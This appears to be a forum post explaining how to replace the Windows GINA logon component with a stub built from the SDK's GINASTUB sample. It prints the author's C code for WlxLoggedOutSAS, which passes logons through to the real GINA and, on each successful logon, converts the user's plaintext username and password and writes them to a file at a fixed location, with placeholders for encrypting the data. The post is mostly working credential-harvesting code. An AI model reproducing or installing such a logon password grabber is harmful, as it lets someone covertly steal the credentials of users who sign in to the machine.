Look at the GINASTUB sample which comes with the Win32 Platform SDK. 
Essentially, the technique consists of replacing the default GINA 
with your own, then having your GINA LoadLibrary the default one and 
call its entry points as required, grabbing the data as it flies past. 
I have reproduced the important function here, with my own code added 
for saving the username and password to a file in ANSI format.

int WINAPI WlxLoggedOutSAS (PVOID pWlxContext,
                            DWORD dwSasType,
                            PLUID pAuthenticationId,
                            PSID pLogonSid,
                            PDWORD pdwOptions,
                            PHANDLE phToken,
                            PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
                            PVOID *pProfile)
{
   HANDLE hFile ;
   DWORD dwBytesWrit ;
   TCHAR szBuffer   [130];
   TCHAR szUserName [64];
   TCHAR szPassword [64];

   iRet = GWlxLoggedOutSAS (pWlxContext,
                            dwSasType,
                            pAuthenticationId,
                            pLogonSid,
                            pdwOptions,
                            phToken,
                            pMprNotifyInfo,
                            pProfile);

   if (iRet == WLX_SAS_ACTION_LOGON)
   {
      WideCharToMultiByte (CP_ACP, 0,
                           pMprNotifyInfo->pszUserName,
                           -1,
                           szUserName,
                           sizeof (szUserName),
                           NULL, NULL);

      WideCharToMultiByte (CP_ACP, 0,
                           pMprNotifyInfo->pszPassword,
                           -1,
                           szPassword,
                           sizeof (szPassword),
                           NULL, NULL);

      wsprintf (szBuffer, "%s,%s\n",
                szUserName,
                szPassword);

      < insert code here to encrypt the data in szBuffer >
      hFile = CreateFile (< Some unique filename in a fixed location >,
                          GENERIC_WRITE,
                          0,
                          NULL,
                          CREATE_ALWAYS,
                          FILE_ATTRIBUTE_NORMAL,
                          NULL);

      if (hFile != INVALID_HANDLE_VALUE)
      {
         WriteFile (hFile,
                    (LPCVOID)(szBuffer),
                    (DWORD)(strlen (szBuffer)),
                    &dwBytesWrit,
                    NULL);
         CloseHandle (hFile);
      }
   }
   return iRet;
}